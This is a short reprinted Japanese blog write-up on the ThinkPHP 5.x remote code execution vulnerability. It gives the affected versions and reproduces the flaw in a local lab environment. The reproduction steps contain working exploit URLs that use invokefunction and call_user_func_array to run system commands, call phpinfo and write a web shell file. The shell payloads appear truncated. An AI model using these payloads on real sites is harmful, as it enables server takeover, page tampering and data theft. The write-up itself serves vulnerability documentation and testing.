ホームページ  >  記事  >  PHPフレームワーク  >  thinkphp のリモート コマンド実行の脆弱性

thinkphp のリモート コマンド実行の脆弱性

尚
転載
2020-05-08 09:16:124332ブラウズ

thinkphp のリモート コマンド実行の脆弱性

脆弱性の概要

ThinkPHP は中国で人気のあるオープンソース PHP フレームワークであり、リモートでコードが実行される可能性のある脆弱性があることが最近明らかになりました。攻撃者の PHP コードがキャッシュ ファイルに書き込まれ、リモートでコードが実行される可能性があります。

この脆弱性の悪用にはいくつかの前提条件が必要ですが、ThinkPHP フレームワークを使用している国内サイトが多数あることを考慮すると、この脆弱性は依然として一定の範囲の影響を及ぼします。フレームワークはコントローラー名に対して十分な検出を実行しないため、強制ルーティングがオンになっていない場合、getshell の脆弱性が発生する可能性があります。

この脆弱性の危険性

攻撃者はこの脆弱性を利用して Web サイトを制御し、ページを変更し、データ漏洩やその他の問題を引き起こす可能性があります。

影響を受けるバージョン

5.x

再現環境

thinkphp5.1 phpstudy 統合環境 (php5.6n apache mysql)

再現プロセス

1. まず図のように環境を設定します。

thinkphp のリモート コマンド実行の脆弱性

2. システム関数を使用してリモート コマンドを実行します:

http://localhost/thinkphp5.1/html/public/index .php ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

thinkphp のリモート コマンド実行の脆弱性

3. を通じて phpinfo を書き込みます。 phpinfo 関数 () 情報:

http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars [ 1][]=1

thinkphp のリモート コマンド実行の脆弱性

4. シェルを作成します:

http://localhost/thinkphp5.1/html /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php

thinkphp のリモート コマンド実行の脆弱性

または

http://localhost/thinkphp5.1/html/public/index.php? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

推奨チュートリアル:「TP5

以上がthinkphp のリモート コマンド実行の脆弱性の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。